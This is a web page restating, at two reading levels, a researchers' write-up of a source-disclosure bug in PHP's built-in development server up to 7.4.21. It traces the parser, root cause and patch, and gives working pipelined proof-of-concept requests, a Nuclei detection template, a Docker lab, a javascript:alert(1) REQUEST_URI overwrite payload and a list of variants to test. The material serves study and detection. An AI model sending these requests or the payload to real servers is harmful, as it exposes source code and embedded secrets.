Skip to content
Info disclosure Write-up Advanced

PHP Development Server <= 7.4.21 - Remote Source Disclosure

PHP's built-in development server up to 7.4.21 could be tricked by a pipelined request into serving a PHP file as a static file, disclosing its source code instead of executing it. An attacker could read the source of scripts such as phpinfo.php, potentially exposing secrets or logic.

Rahul Maini Follow

Published on blog.projectdiscovery.io

Research Nuclei

Rahul Maini (@iamnoooob), Harsh Jaiswal (@rootxharsh), on blog.projectdiscovery.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

PHP ships a built-in development server, started with php -S, that is intended for local development rather than production. It parses HTTP requests itself, using a bundled copy of the http_parser code, and decides for each request whether the target is a static file to be returned as-is or a PHP script to be executed by the interpreter.

The bug described here lives in that decision logic. In PHP 7.4.21 and earlier, a crafted request could make the server treat a PHP file as a static file and return its source code instead of executing it. The issue was fixed in PHP 7.4.22. The authors note that although the fix is in the PHP source, Shodan queries still reveal many exposed instances of the built-in server.

PHP 7.4.21: Causes PHP Source Code Disclosure of index.php From the original on blog.projectdiscovery.io

PHP 7.4.21: Causes PHP Source Code Disclosure of index.php

Setup

The research started while testing request pipelining against several programming languages' built-in servers. To understand the bug and the fix, the authors compiled both the patched and unpatched versions of PHP with debugging symbols enabled, triggered the bug with a proof-of-concept request, and followed the code flow in a debugger. The unpatched and patched trees are compared in the git diff between PHP-7.4.21 and PHP-7.4.22 in the php/php-src repository.

For the proof of concept, the request must be sent without an automatically added Content-Length header. The authors advise turning off "Update Content-Length" in an intercepting proxy such as Burp Suite, otherwise the PoC will not work.

Finding it

While testing request pipelining, the authors observed strange behaviour from PHP's built-in server. Deeper investigation showed that a security bug in PHP could expose the source code of PHP files as if they were static files rather than executing them as intended. The vulnerability was not present in the latest PHP release at the time, so the authors tested different versions to find when it was fixed and why, which led them to PHP 7.4.22.

Exploitation

Step 1: send a pipelined request without Content-Length

The PoC request sends two HTTP requests in one stream. The first targets a PHP file, the second targets the root directory.

HTTP
GET /phpinfo.php HTTP/1.1
Host: pd.research
\r\n
\r\n
GET / HTTP/1.1
\r\n
\r\n

The first request is parsed normally and resolves /phpinfo.php to a file on disk. The second request, for the directory /, is parsed in the same buffer. Because the request has no Content-Length header, the parser treats the message as complete at the blank line and invokes the message-complete callback.

Step 2: follow the parsing path

All HTTP requests to the CLI server are handled by php_cli_server_client_read_request. The call trace shown in the report is:

C
main(...)
	do_cli_server(...)
		php_cli_server_do_event_loop(...)
			php_cli_server_do_event_for_each_fd(...)
				 php_cli_server_poller_iter_on_active(...)
						php_cli_server_do_event_for_each_fd_callback(...)
							 php_cli_server_recv_event_read_request(...)
									php_cli_server_client_read_request(...)

php_cli_server_client_read_request calls php_http_parser_execute, which parses HTTP requests and returns the number of bytes successfully parsed. That return value determines how much of the request has been processed and how much remains.

When the first part of the request is almost finished being parsed and the request does not contain a Content-Length header, CALLBACK2(message_complete) is called. CALLBACK2 is a macro that calls the callback function php_cli_server_client_read_request_on_message_complete when processing of the request message completes.

The macro is defined as follows:

C
#define CALLBACK2(FOR)                                               \\
do {                                                                 \\
  if (settings->on_##FOR) {                                          \\
    if (0 != settings->on_##FOR(parser)) return (p - data);          \\
  }                                                                  \\
}																     \\
while (0)

After preprocessing, CALLBACK2(message_complete) becomes:

C
do {
if (settings->on_message_complete) {
 if (0 != **settings->on_message_complete**(parser)) return (p - data);
}
} while (0)

settings is a struct of type php_http_parser_settings whose member fields are function pointers. Each member is populated with the respective callback function, and the reference to settings is passed to php_http_parser_execute:

C
nbytes_consumed = php_http_parser_execute(&client->parser, &settings, buf, nbytes_read);

The CALLBACK and CALLBACK_NOCLEAR macros work in almost the same way. So CALLBACK2(message_complete) results in a call to php_cli_server_client_read_request_on_message_complete(...), CALLBACK(path) calls php_cli_server_client_read_request_on_path(...), and so on.

Step 3: translate the virtual path of the first request

The flow enters php_cli_server_request_translate_vpath, which converts the requested PHP file's path to the full path on the file system. If the requested file is a directory, it checks for index files such as index.php or index.html inside the directory and uses the path to one of those files if found. In short, the function sets the vpath and path_translated members of the request struct.

For the first request, the flow ends up in the conditional branch where request->path_translated is set. The authors stress that this is important and will be used later.

Step 4: parse the second request

After the call stack unwinds, execution continues inside php_http_parser_execute. The second part of the request is parsed as the state is reverted to start_state:

HTTP
GET / HTTP/1.1
\r\n
\r\n

As with the initial request, the flow enters php_cli_server_client_read_request_on_message_complete and then calls php_cli_server_request_translate_vpath. This time, because the request is for a directory (/) rather than a file, a different block of code is entered.

Step 5: dispatch and mark the file as static

After parsing completes and the flow returns from php_http_parser_execute, the number of bytes parsed (nbytes_consumed) is compared with the number of bytes read (nbytes_read). If they are equal, the flow continues into php_cli_server_dispatch.

The dispatch code checks whether the requested file should be treated as a static file or executed as a PHP file by examining the file extension. If the extension is not .php or .PHP, or if the length of the extension is not equal to 3, the file is considered static and is_static_file is set to 1. The code also checks that the path_translated field of the client->request object is not null; that field holds the full path to the requested file on the file system. If it is null, the requested file could not be found and the request is treated as an error.

Because is_static_file is true, the flow proceeds to php_cli_server_begin_send_static.

Root cause

After parsing the second request, vpath is set to /, and assuming no index files were found, client->request.ext is set to NULL. However, client->request.path_translated is still set to /tmp/php/phpinfo.php from the first request. The checks are performed on client->request.ext of the second request, which sets is_static_file to 1, telling the server to treat the requested file as a static file rather than a PHP script.

php_cli_server_begin_send_static then opens and retrieves a file descriptor to the path stored in client->request.path_translated, which in the example is /tmp/php/phpinfo.php. The discrepancy is the bug: the checks happen on the extension of the second request, but the file that is opened comes from path_translated, which was set by the first request. Because the file is marked as is_static_file, the flow simply reads the file descriptor and returns it as a static file rather than executing it.

Patch

PHP 7.4.22 introduced a check: when parsing the request path, the function checks whether the vpath member of the request struct is not NULL, and if it is not NULL, returns 1.

When the path of the first part of the request message is parsed, client->request.vpath is initially NULL and is later set to /phpinfo.php. When the path of the second part is parsed, client->request.vpath is already set and not NULL, which causes the function to return 1.

The relevant macros are:

C
#define CALLBACK(FOR)                                                \\
do {                                                                 \\
  CALLBACK_NOCLEAR(FOR);                                             \\
  FOR##_mark = NULL;                                                 \\
} while (0)

#define CALLBACK_NOCLEAR(FOR)                                        \\
do {                                                                 \\
  if (FOR##_mark) {                                                  \\
    if (settings->on_##FOR) {                                        \\
      if (0 != settings->on_##FOR(parser,                            \\
                                 FOR##_mark,                         \\
                                 p - FOR##_mark))                    \\
      {                                                              \\
        return (p - data);                                           \\
      }                                                              \\
    }                                                                \\
  }                                                                  \\
} while (0)

While parsing the path of the second request, the patched function php_cli_server_client_read_request_on_path is entered from CALLBACK(path). The CALLBACK(path) macro check ensures that the return value of the callback function is always 0. If it is not, the parsing function php_http_parser_execute returns, and the return value is the number of bytes it has already consumed while parsing the request.

The return value is stored in nbytes_consumed and compared with nbytes_read, the actual number of bytes in the request:

C
nbytes_consumed = php_http_parser_execute(&client->parser, &settings, buf, nbytes_read);

	if (**nbytes_consumed != (size_t)nbytes_read**) {
		if (php_cli_server_log_level >= PHP_CLI_SERVER_LOG_ERROR) {
			if (buf[0] & 0x80 /* SSLv2 */ || buf[0] == 0x16 /* SSLv3/TLSv1 */) {
				*errstr = estrdup("Unsupported SSL request");
			} else {
				*errstr = estrdup("Malformed HTTP request");
			}
		}
		return -1;
	}

If the number of bytes consumed by the parser is not equal to the total number of bytes read, the request is malformed. The code checks the first byte of the buffer to determine whether the request is an SSL request; otherwise it sets the error message to "Malformed HTTP request" and returns.

Proof of concept

The basic PoC discloses the source code of phpinfo.php instead of executing it:

HTTP
GET /phpinfo.php HTTP/1.1
Host: pd.research
\r\n
GET / HTTP/1.1
\r\n
\r\n

The authors observed that the source code is not disclosed if an index.php file exists in the current directory where the server is started from. They produced a modified PoC that discloses source code regardless of whether index.php exists, for the reasons explained above:

HTTP
GET /index.php HTTP/1.1
Host: pd.research
\r\n
GET /xyz.xyz HTTP/1.1
\r\n
\r\n

To detect the issue at scale, the authors created a Nuclei template and added it to the public nuclei-templates repository. The template pull request is in the projectdiscovery/nuclei-templates repository:

YAML
id: php-src-diclosure

info:
  name: PHP <= 7.4.21 - Built-in Server Remote Source Disclosure
  author: pdteam
  severity: medium
  metadata:
    verified: true
    shodan-query: The requested resource <code class="url">
  tags: php,phpcli,disclosure

requests:
  - raw:
      - |+
        GET /  HTTP/1.1
        Host: {{Hostname}}

        GET /{{rand_base(3)}}.{{rand_base(2)}} HTTP/1.1

      - |+
        GET /  HTTP/1.1
        Host: {{Hostname}}

    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "<?php")'
          - '!contains(body_2, "<?php")'
        condition: and

The template sends a pipelined pair of requests and matches when the first response body contains <?php while the second does not.

Demo

The authors demonstrated the issue with a small Docker setup. The index.php file contains:

Text
cat index.php

<a href="<?php echo htmlentities($_SERVER['REQUEST_URI']) ?>">Unexpected url</a>

The Dockerfile builds an image from PHP 7.4.21 and starts the built-in server on port 8888:

Text
cat Dockerfile

FROM php:7.4.21-zts-buster
COPY index.php /var/www/html/index.php
CMD ["php", "-S", "[redacted]:8888", "-t", "/var/www/html/"]

The image is built and run with:

Bash
docker build . -t phptest
docker run -p 8888:8888 phptest

[Sat Jan 28 20:09:07 2023] PHP 7.4.21 Development Server (http://[redacted]:8888) started
From the original on blog.projectdiscovery.io

Bonus: REQUEST_URI overwrite

A different bug, tracked as PHP bug 73630, also addressed this remote source code disclosure issue in subsequent versions. During parsing of an HTTP request, when certain callbacks are called multiple times, the REQUEST_URI server variable gets overwritten with a substring of itself. This behaviour can result in open redirects or cross-site scripting in some cases.

An example snippet:

PHP
<a href="<?php echo htmlentities($_SERVER['REQUEST_URI']) ?>">Unexpected url</a>

Requesting GET /index.php?abcd renders as:

HTML
<a href="/index.php?abcd">Unexpected url</a>

The hyperlink is always relative to the domain where it is hosted, and the path converts meta-characters to their HTML entities, so XSS is not feasible in this case. However, an attacker can still exploit it by sending a GET request with a very long query string:

JSX
GET /?[AAAA...<1425 times>]javascript:alert(1) HTTP/1.1
Host: pd.research

REQUEST_URI is overwritten and ends up with only javascript:alert(1). The amount of padding required to overwrite it with the desired content varies and may need to be adjusted.

REQUEST_URI Overwritten From the original on blog.projectdiscovery.io

REQUEST_URI Overwritten

Impact

An attacker who can reach an exposed PHP built-in server running a vulnerable version can retrieve the source code of PHP files as static content. The authors note that the PHP team advises against using the CLI server in production, but at least a few thousand exposed instances of the built-in server were still present on the Internet. The CLI server may also sit behind multiple reverse proxies or load balancers, which would make exploitation more challenging. In the authors' testing with NGINX and Apache in front of the PHP CLI server, they were unable to exploit the vulnerability.

Variants to test

  1. Pipelined request pairs against other built-in development servers. Send two requests in one buffer without a Content-Length header, the first for a known PHP file and the second for a directory or a non-existent path. A positive result is a response body containing PHP source such as <?php where the server should have executed the script.
  2. The upgraded PoC against servers where index.php exists in the document root. Send GET /index.php followed by GET /xyz.xyz in the same buffer. A positive result is the source of index.php returned as static content.
  3. The REQUEST_URI overwrite with a long query string. Send a GET request whose query string is padded with a large number of characters followed by a payload such as javascript:alert(1). A positive result is a rendered link or redirect target that contains only the payload, which may enable open redirects or XSS depending on how the value is used.
  4. Deployments behind reverse proxies. Repeat the pipelined requests through NGINX or Apache in front of the CLI server. The authors were unable to exploit the issue in that configuration, so a positive result here would extend the affected surface beyond direct exposure.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 20 min read.

What happened, in plain words

PHP is a programming language used to build websites. When you visit a page ending in .php, the web server is supposed to run that file as a program and send you the result (usually HTML, the language browsers display). It is not supposed to send you the file's text.

PHP also ships with a small built-in web server, started with the command php -S. It is meant for developers testing on their own laptop, not for real websites. That little server has to read incoming HTTP requests (the messages your browser sends to ask for a page) and decide, for each one, whether the target is a plain file to hand back untouched or a PHP script to run.

In PHP 7.4.21 and earlier, two researchers, Harsh Jaiswal and Rahul Maini, found that a carefully crafted request could confuse that decision. The server would treat a PHP file as a plain file and send back its source code, the actual text of the program, instead of running it. Source code is the actual text of the program, so disclosing it is a leak. The flaw was fixed in PHP 7.4.22.

The fix is in PHP itself, but the researchers note that Shodan, a search engine for internet-connected devices, still finds many exposed copies of the built-in server online.

PHP 7.4.21: Causes PHP Source Code Disclosure of index.php From the original on blog.projectdiscovery.io

The screenshot relates to PHP 7.4.21 causing source code disclosure of index.php.

How the investigation started

A few concepts first, because they come up throughout:

  • HTTP request: the text message a browser sends to a server, for example GET /page HTTP/1.1 followed by headers and a blank line. GET means "give me this".
  • Pipelining: sending several HTTP requests back to back in one stream, without waiting for the answer to the first. Think of posting several letters in one envelope instead of one at a time.
  • Content-Length header: a line in a request that says how many bytes of body follow. It tells the server where one message ends and the next begins.
  • Built-in server: a small web server that comes bundled with a language so developers can test without installing anything else.

The researchers were testing pipelining against the built-in servers of several programming languages. PHP's behaved strangely. Digging in, they found the source-disclosure bug. It was not present in the newest PHP release at the time, so they tested older versions to find when it was fixed and why. That led them to PHP 7.4.22.

To understand both the bug and the fix, they compiled the patched and unpatched versions of PHP with debugging symbols (extra information that lets a debugger show function names and line numbers) and stepped through the code while sending a proof-of-concept request. The two versions can be compared in the git diff between PHP-7.4.21 and PHP-7.4.22 in the php/php-src repository.

One practical note: the proof of concept only works if no Content-Length header is added automatically. The researchers advise turning off "Update Content-Length" in an intercepting proxy such as Burp Suite. An intercepting proxy is a tool that sits between your browser and the server, letting you edit requests before they are sent.

Step 1: send two requests in one stream

The proof-of-concept request sends two HTTP requests in a single stream. The first asks for a PHP file, the second asks for the root directory.

HTTP
GET /phpinfo.php HTTP/1.1
Host: pd.research
\r\n
\r\n
GET / HTTP/1.1
\r\n
\r\n

Line by line:

  1. GET /phpinfo.php HTTP/1.1 asks the server for the file phpinfo.php using version 1.1 of HTTP.
  2. Host: pd.research says which website name the request is for. A server can host many sites, so it needs to know which one you mean.
  3. \r\n and \r\n are the carriage-return and line-feed characters that mark the end of the headers and the end of the request. In a real request these are invisible line breaks; here they are written out so you can see them.
  4. GET / HTTP/1.1 is a second request, this time for the root directory /.
  5. The final \r\n and \r\n close the second request.

Why two requests? The first one makes the server work out the real location on disk of phpinfo.php. The second one, for a directory, is parsed in the same buffer (the same chunk of received data). Because there is no Content-Length header, the parser treats each message as complete at its blank line and calls a function that says "this message is finished".

Step 2: follow the code that reads the request

Every HTTP request to the built-in server passes through a function called php_cli_server_client_read_request. The call trace in the report shows the chain of functions that leads there:

C
main(...)
	do_cli_server(...)
		php_cli_server_do_event_loop(...)
			php_cli_server_do_event_for_each_fd(...)
				 php_cli_server_poller_iter_on_active(...)
						php_cli_server_do_event_for_each_fd_callback(...)
							 php_cli_server_recv_event_read_request(...)
									php_cli_server_client_read_request(...)

Read it from the bottom up: php_cli_server_client_read_request is where the request is actually read. Above it, each line is a function that called the one below. main is the program's entry point; do_cli_server starts the server; the event loop waits for activity on network connections; the poller reports which connections are active; the callback handles one of them; and the receive function hands the data to the request reader. It is like a chain of managers passing a task down to the person who does the work.

php_cli_server_client_read_request calls php_http_parser_execute, which parses HTTP requests. Parsing means reading raw text and working out its structure: method, path, headers, body. The function returns the number of bytes it successfully parsed. That number tells the server how much of the incoming data has been processed and how much is left.

When the first request is almost finished and there is no Content-Length header, the code calls CALLBACK2(message_complete). CALLBACK2 is a macro, a kind of text substitution the compiler performs before compiling. It expands into a call to the function php_cli_server_client_read_request_on_message_complete, which runs when a request message is complete.

The macro is defined as:

C
#define CALLBACK2(FOR)                                               \\
do {                                                                 \\
  if (settings->on_##FOR) {                                          \\
    if (0 != settings->on_##FOR(parser)) return (p - data);          \\
  }                                                                  \\
}																     \\
while (0)

Line by line:

  1. #define CALLBACK2(FOR) declares a macro named CALLBACK2 that takes one piece of text, FOR.
  2. do { ... } while (0) is a common C trick to wrap several statements so they behave like one statement.
  3. if (settings->on_##FOR) checks whether a function pointer named on_message_complete (when FOR is message_complete) exists. The ## glues the text on_ to whatever FOR contains.
  4. if (0 != settings->on_##FOR(parser)) return (p - data); calls that function. If it returns anything other than 0, the macro returns the number of bytes consumed so far, p - data (current position minus start).

After preprocessing, CALLBACK2(message_complete) becomes:

C
do {
if (settings->on_message_complete) {
 if (0 != **settings->on_message_complete**(parser)) return (p - data);
}
} while (0)

This is the same code with FOR replaced by message_complete. It checks whether a message-complete handler is registered and, if so, calls it.

settings is a struct (a bundle of related variables) of type php_http_parser_settings. Its members are function pointers: variables that hold the address of a function. Each one is filled in with the matching callback, so the parser knows which function to call for each event. The reference to settings is passed to php_http_parser_execute:

C
nbytes_consumed = php_http_parser_execute(&client->parser, &settings, buf, nbytes_read);

Line by line:

  1. nbytes_consumed will store how many bytes the parser used.
  2. php_http_parser_execute is the parsing function.
  3. &client->parser is the parser state for this client connection.
  4. &settings is the table of callback functions.
  5. buf is the buffer holding the received data, and nbytes_read is how many bytes were read into it.

The CALLBACK and CALLBACK_NOCLEAR macros work in almost the same way. So CALLBACK2(message_complete) ends up calling php_cli_server_client_read_request_on_message_complete(...), CALLBACK(path) calls php_cli_server_client_read_request_on_path(...), and so on. Each macro is a shortcut for "if a handler for this event exists, call it".

Step 3: turn the requested path into a real file path

Next the flow enters php_cli_server_request_translate_vpath. This function converts the path in the request (the part after GET, such as /phpinfo.php) into the full path on the server's disk. If the requested path is a directory, it looks for index files such as index.php or index.html inside that directory and uses one of them if found. This is why visiting a folder in a browser often shows a page: the server quietly serves the folder's index file.

In short, the function fills in two members of the request struct: vpath (the virtual path, as written in the URL) and path_translated (the real path on disk).

For the first request, the flow reaches the branch where request->path_translated is set. The researchers stress that this matters later: the server now remembers where phpinfo.php lives on disk.

Step 4: parse the second request

After the first request is handled, the call stack unwinds (functions return one by one) and execution continues inside php_http_parser_execute. The parser resets to its start_state and parses the second part of the stream:

HTTP
GET / HTTP/1.1
\r\n
\r\n

Line by line:

  1. GET / HTTP/1.1 asks for the root directory.
  2. \r\n and \r\n end the headers and the request.

As with the first request, the flow enters php_cli_server_client_read_request_on_message_complete and then calls php_cli_server_request_translate_vpath. This time the request is for a directory (/) rather than a file, so a different block of code runs.

Step 5: decide static file or script

When parsing finishes and the flow returns from php_http_parser_execute, the number of bytes parsed (nbytes_consumed) is compared with the number of bytes read (nbytes_read). If they are equal, everything was understood and the flow continues into php_cli_server_dispatch, the function that decides what to send back.

The dispatch code looks at the file extension to decide whether the target is a static file or a PHP script. If the extension is not .php or .PHP, or if its length is not 3, the file is treated as static and the variable is_static_file is set to 1. The code also checks that path_translated in client->request is not null. That field holds the full path to the requested file on disk. If it is null, the file could not be found and the request is treated as an error.

Because is_static_file is true, the flow goes to php_cli_server_begin_send_static, the function that sends a file back unchanged.

What went wrong

Here is the bug. After the second request is parsed, vpath is /, and assuming no index files were found, client->request.ext (the file extension) is set to NULL. But client->request.path_translated is still /tmp/php/phpinfo.php from the first request. The checks look at the extension of the second request, which sets is_static_file to 1, telling the server to treat the requested file as a static file rather than a PHP script.

php_cli_server_begin_send_static then opens the path stored in client->request.path_translated, which in the example is /tmp/php/phpinfo.php. That mismatch is the flaw: the checks are made on the extension of the second request, but the file that is opened comes from path_translated, set by the first request. Because the file is marked as static, the server simply reads it and returns it, without executing it.

A simple comparison: imagine a clerk who checks the label on one parcel but then picks up a different parcel from the shelf and posts it. The label said "documents, do not open", but the parcel that actually went out was the one with the secret inside.

The patch

PHP 7.4.22 added a check. When parsing the request path, the function checks whether the vpath member of the request struct is not NULL, and if it is not NULL, returns 1.

When the path of the first request is parsed, client->request.vpath is initially NULL and is later set to /phpinfo.php. When the path of the second request is parsed, client->request.vpath is already set and not NULL, so the function returns 1. In plain terms, the server now notices that a path was already recorded for this connection and refuses to process a second one in the same stream.

The relevant macros are:

C
#define CALLBACK(FOR)                                                \\
do {                                                                 \\
  CALLBACK_NOCLEAR(FOR);                                             \\
  FOR##_mark = NULL;                                                 \\
} while (0)

#define CALLBACK_NOCLEAR(FOR)                                        \\
do {                                                                 \\
  if (FOR##_mark) {                                                  \\
    if (settings->on_##FOR) {                                        \\
      if (0 != settings->on_##FOR(parser,                            \\
                                 FOR##_mark,                         \\
                                 p - FOR##_mark))                    \\
      {                                                              \\
        return (p - data);                                           \\
      }                                                              \\
    }                                                                \\
  }                                                                  \\
} while (0)

Line by line:

  1. CALLBACK(FOR) first runs CALLBACK_NOCLEAR(FOR), then sets the marker FOR##_mark to NULL. The marker records where the current piece of data started.
  2. CALLBACK_NOCLEAR(FOR) checks whether a marker exists (if (FOR##_mark)), meaning some data for this event was seen.
  3. If a handler is registered (if (settings->on_##FOR)), it calls the handler with the parser, the start marker and the length p - FOR##_mark.
  4. If the handler returns anything other than 0, the macro returns the number of bytes consumed so far.

While parsing the path of the second request, the patched function php_cli_server_client_read_request_on_path is entered from CALLBACK(path). The CALLBACK(path) macro check ensures the callback's return value is always 0. If it is not, php_http_parser_execute returns early, and the return value is the number of bytes it had consumed so far.

That return value is stored in nbytes_consumed and compared with nbytes_read, the actual number of bytes in the request:

C
nbytes_consumed = php_http_parser_execute(&client->parser, &settings, buf, nbytes_read);

	if (**nbytes_consumed != (size_t)nbytes_read**) {
		if (php_cli_server_log_level >= PHP_CLI_SERVER_LOG_ERROR) {
			if (buf[0] & 0x80 /* SSLv2 */ || buf[0] == 0x16 /* SSLv3/TLSv1 */) {
				*errstr = estrdup("Unsupported SSL request");
			} else {
				*errstr = estrdup("Malformed HTTP request");
			}
		}
		return -1;
	}

Line by line:

  1. The parser runs and stores how many bytes it consumed in nbytes_consumed.
  2. if (nbytes_consumed != nbytes_read) checks whether the parser used fewer bytes than were read. If so, something was left unparsed and the request is malformed.
  3. If logging is enabled at error level, the code checks the first byte of the buffer.
  4. buf[0] & 0x80 or buf[0] == 0x16 detects the start of an SSL/TLS handshake (encrypted traffic sent to a plain HTTP port). In that case the error is "Unsupported SSL request".
  5. Otherwise the error is "Malformed HTTP request".
  6. return -1 stops processing.

So the patched server rejects the pipelined pair as malformed instead of serving the wrong file.

Proof of concept

The basic proof of concept discloses the source code of phpinfo.php instead of executing it:

HTTP
GET /phpinfo.php HTTP/1.1
Host: pd.research
\r\n
GET / HTTP/1.1
\r\n
\r\n

Line by line:

  1. GET /phpinfo.php HTTP/1.1 asks for the PHP file.
  2. Host: pd.research names the site.
  3. \r\n ends the headers of the first request. There is no Content-Length, so the parser considers the message complete here.
  4. GET / HTTP/1.1 is the second request, for the root directory.
  5. \r\n and \r\n end the second request.

The researchers observed that the source code is not disclosed if an index.php file exists in the directory where the server was started. They produced a modified proof of concept that works whether or not index.php exists, for the reasons explained above:

HTTP
GET /index.php HTTP/1.1
Host: pd.research
\r\n
GET /xyz.xyz HTTP/1.1
\r\n
\r\n

Line by line:

  1. GET /index.php HTTP/1.1 asks for index.php, so path_translated points at that file.
  2. Host: pd.research names the site.
  3. \r\n ends the first request's headers.
  4. GET /xyz.xyz HTTP/1.1 asks for a path with a non-PHP extension, so the extension check marks it as static.
  5. \r\n and \r\n end the second request.

To detect the issue at scale, the researchers wrote a Nuclei template and added it to the public nuclei-templates repository. Nuclei is a scanner that sends predefined requests and checks the responses against rules called matchers. The template pull request is in the projectdiscovery/nuclei-templates repository:

YAML
id: php-src-diclosure

info:
  name: PHP <= 7.4.21 - Built-in Server Remote Source Disclosure
  author: pdteam
  severity: medium
  metadata:
    verified: true
    shodan-query: The requested resource <code class="url">
  tags: php,phpcli,disclosure

requests:
  - raw:
      - |+
        GET /  HTTP/1.1
        Host: {{Hostname}}

        GET /{{rand_base(3)}}.{{rand_base(2)}} HTTP/1.1

      - |+
        GET /  HTTP/1.1
        Host: {{Hostname}}

    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "<?php")'
          - '!contains(body_2, "<?php")'
        condition: and

Line by line:

  1. id: php-src-diclosure is the template's identifier.
  2. info: holds metadata: name, author, severity, and tags used for searching.
  3. shodan-query is a fingerprint used to find matching servers on Shodan.
  4. requests: lists what to send. The first raw block sends two requests in one stream: GET / and then GET /{{rand_base(3)}}.{{rand_base(2)}}, where rand_base generates random characters so the second path is unlikely to exist.
  5. The second raw block sends a normal GET / on its own, as a control.
  6. unsafe: true tells Nuclei to send the raw bytes exactly as written, without normalising them.
  7. matchers define success: contains(body_1, "<?php") means the first response body contains PHP source, and !contains(body_2, "<?php") means the second does not. condition: and requires both.

In short, the template sends a pipelined pair and reports a hit when the first response contains <?php while the second does not.

Demo

The researchers demonstrated the issue with a small Docker setup. Docker is a tool that packages an application and its environment into a container, so it runs the same way everywhere. The index.php file contains:

Text
cat index.php

<a href="<?php echo htmlentities($_SERVER['REQUEST_URI']) ?>">Unexpected url</a>

Line by line:

  1. cat index.php prints the file's contents.
  2. The HTML line creates a link. <?php ... ?> marks PHP code inside HTML.
  3. $_SERVER['REQUEST_URI'] is a PHP variable holding the path and query string the visitor asked for.
  4. htmlentities(...) converts characters such as < and > into safe HTML entities, so they display as text rather than being interpreted as markup.
  5. echo prints the result into the page.

The Dockerfile builds an image from PHP 7.4.21 and starts the built-in server on port 8888:

Text
cat Dockerfile

FROM php:7.4.21-zts-buster
COPY index.php /var/www/html/index.php
CMD ["php", "-S", "[redacted]:8888", "-t", "/var/www/html/"]

Line by line:

  1. cat Dockerfile prints the file.
  2. FROM php:7.4.21-zts-buster starts from an existing image with PHP 7.4.21.
  3. COPY index.php /var/www/html/index.php copies the test file into the web root.
  4. CMD [...] is the command run when the container starts: php -S [redacted]:8888 -t /var/www/html/ starts the built-in server on all interfaces at port 8888, serving files from /var/www/html/.

The image is built and run with:

Bash
docker build . -t phptest
docker run -p 8888:8888 phptest

[Sat Jan 28 20:09:07 2023] PHP 7.4.21 Development Server (http://[redacted]:8888) started

Line by line:

  1. docker build . -t phptest builds an image from the current directory and tags it phptest.
  2. docker run -p 8888:8888 phptest runs a container from that image and maps port 8888 on your machine to port 8888 in the container.
  3. The last line is the server's startup message, confirming PHP 7.4.21 is listening.
From the original on blog.projectdiscovery.io

**

Bonus: the REQUEST_URI overwrite

A different bug, tracked as PHP bug 73630, also addressed this remote source code disclosure issue in later versions. During parsing of an HTTP request, when certain callbacks are called multiple times, the REQUEST_URI server variable gets overwritten with a substring of itself. This can lead to open redirects (a link that sends visitors to an attacker's site) or cross-site scripting (XSS, where an attacker's JavaScript runs in a victim's browser) in some cases.

An example snippet:

PHP
<a href="<?php echo htmlentities($_SERVER['REQUEST_URI']) ?>">Unexpected url</a>

Requesting GET /index.php?abcd renders as:

HTML
<a href="/index.php?abcd">Unexpected url</a>

Line by line:

  1. The PHP code reads REQUEST_URI, which is /index.php?abcd.
  2. htmlentities escapes any special characters.
  3. The result is placed in the href attribute of the link.

The hyperlink is always relative to the domain where it is hosted, and the path converts meta-characters to their HTML entities, so XSS is not feasible in this case. However, an attacker can still exploit it by sending a GET request with a very long query string:

JSX
GET /?[AAAA...<1425 times>]javascript:alert(1) HTTP/1.1
Host: pd.research

Line by line:

  1. GET /? starts a request for the root with a query string.
  2. [AAAA...<1425 times>] is a long run of the letter A, repeated 1425 times, used as padding.
  3. javascript:alert(1) is the payload: a link that, if clicked, runs JavaScript showing an alert box.
  4. HTTP/1.1 is the protocol version.
  5. Host: pd.research names the site.

REQUEST_URI is overwritten and ends up containing only javascript:alert(1). The amount of padding needed to overwrite it with the desired content varies and may need adjusting.

REQUEST_URI Overwritten From the original on blog.projectdiscovery.io

The screenshot shows REQUEST_URI overwritten.

Impact

An attacker who can reach an exposed PHP built-in server running a vulnerable version can retrieve the source code of PHP files as static content. That discloses the source code of PHP files served by the built-in server. An API key is a secret string that lets a program prove its identity to another service.

The PHP team advises against using the CLI server in production, but at least a few thousand exposed instances were still present on the internet. The CLI server may also sit behind multiple reverse proxies or load balancers, which makes exploitation harder. A reverse proxy is a server that sits in front of another and forwards requests to it. In the researchers' testing with NGINX and Apache in front of the PHP CLI server, they were unable to exploit the vulnerability.

Variants to test

  1. Pipelined request pairs against other built-in development servers. Send two requests in one buffer without a Content-Length header: the first for a known PHP file, the second for a directory or a non-existent path. A positive result is a response body containing PHP source such as <?php where the server should have executed the script.
  2. The upgraded proof of concept against servers where index.php exists in the document root. Send GET /index.php followed by GET /xyz.xyz in the same buffer. A positive result is the source of index.php returned as static content.
  3. The REQUEST_URI overwrite with a long query string. Send a GET request whose query string is padded with many characters followed by a payload such as javascript:alert(1). A positive result is a rendered link or redirect target containing only the payload, which may enable open redirects or XSS depending on how the value is used.
  4. Deployments behind reverse proxies. Repeat the pipelined requests through NGINX or Apache in front of the CLI server. The researchers could not exploit the issue in that configuration, so a positive result here would extend the affected surface beyond direct exposure.

Glossary

  • API: a defined way for one program to talk to another, usually over the network.
  • API key: a secret string a program uses to prove its identity to a service.
  • Buffer: a chunk of memory holding data that has been received but not yet processed.
  • Built-in server: a small web server bundled with a language, meant for local development.
  • Callback: a function passed to another piece of code so it can be called when an event happens.
  • CLI server: the command-line built-in server started with php -S.
  • Content-Length: an HTTP header stating how many bytes of body follow.
  • Cross-site scripting (XSS): a flaw where an attacker's JavaScript runs in another user's browser.
  • Debugging symbols: extra information in a compiled program that lets a debugger show function names and line numbers.
  • Docker: a tool that packages an application and its environment into a container.
  • File descriptor: a number the operating system uses to refer to an open file.
  • Function pointer: a variable that holds the address of a function, so code can call it indirectly.
  • GET: the HTTP method used to ask for a resource.
  • Header: a line in an HTTP message carrying metadata, such as Host or Content-Length.
  • HTML: the language browsers use to display pages.
  • HTML entities: codes such as &lt; that represent special characters safely in HTML.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • HTTP request: the message a client sends to ask for something from a server.
  • Intercepting proxy: a tool that sits between browser and server and lets you view and edit traffic, such as Burp Suite.
  • Macro: a text substitution the compiler performs before compiling.
  • Malformed request: a request the parser cannot fully understand.
